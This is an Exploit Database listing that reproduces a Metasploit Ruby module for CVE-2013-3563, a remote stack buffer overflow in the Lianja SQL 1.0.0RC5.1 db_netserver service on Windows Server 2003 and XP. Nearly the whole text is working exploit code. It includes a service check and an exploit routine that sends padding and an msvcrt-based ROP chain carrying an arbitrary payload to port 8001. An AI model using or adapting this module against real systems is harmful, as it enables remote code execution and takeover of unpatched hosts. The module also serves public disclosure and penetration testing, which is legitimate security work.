Lianja SQL 1.0.0RC5.1 – db_netserver Stack Buffer Overflow (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2013-05-31
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/25851/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::RopDb
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow',
  'Description'=> %q{
  This module exploits a stack buffer overflow in the db_netserver process which
  is spawned by the Lianja SQL server.The issue is fixed in Lianja SQL 1.0.0RC5.2.
  },
  'Author' => 'Spencer McIntyre',
  'License'=> MSF_LICENSE,
  'References' => [
  [ 'CVE', '2013-3563' ]
  ],
  'DefaultOptions' =>
  {
  'WfsDelay' => 20
  },
  'Platform' => 'win',
  'Arch' => ARCH_X86,
  'Payload'=>
  {
  'StackAdjustment' => -3500,
  'Space' => 500,
  'BadChars'=> "\x01"
  },
  'Targets'=>
  [
  [ 'Lianja SQL 1.0.0RC5.1 / Windows Server 2003 SP1-SP2', { 'rop_target' => '2003' } ],
  [ 'Lianja SQL 1.0.0RC5.1 / Windows XP SP3', { 'rop_target' => 'xp' } ],
  ],
  'DefaultTarget'=> 0,
  'Privileged' => true,
  'DisclosureDate' => 'May 22 2013'))
  
  register_options(
  [
  Opt::RPORT(8001),
  ], self.class)
  end
  
  def check
  begin
  connect
  rescue
  return Exploit::CheckCode::Safe
  end
  sock.put("db_net")
  if sock.recv(4) =~ /\d{1,5}/
  return Exploit::CheckCode::Detected
  end
  return Exploit::CheckCode::Safe
  end
  
  def exploit
  connect
  sock.put("db_net")
  sock.recv(4)
  
  print_status("#{rhost}:#{rport} - Sending Malicious Data")
  evil_data ='000052E1'
  evil_data << 'A'
  evil_data << ('0' * 19991) # this can't be randomized, else a Read Access Violation will occur
  evil_data << generate_rop_payload('msvcrt', payload.encoded, {'target' => target['rop_target']})
  sock.put(evil_data)
  disconnect
  end
  end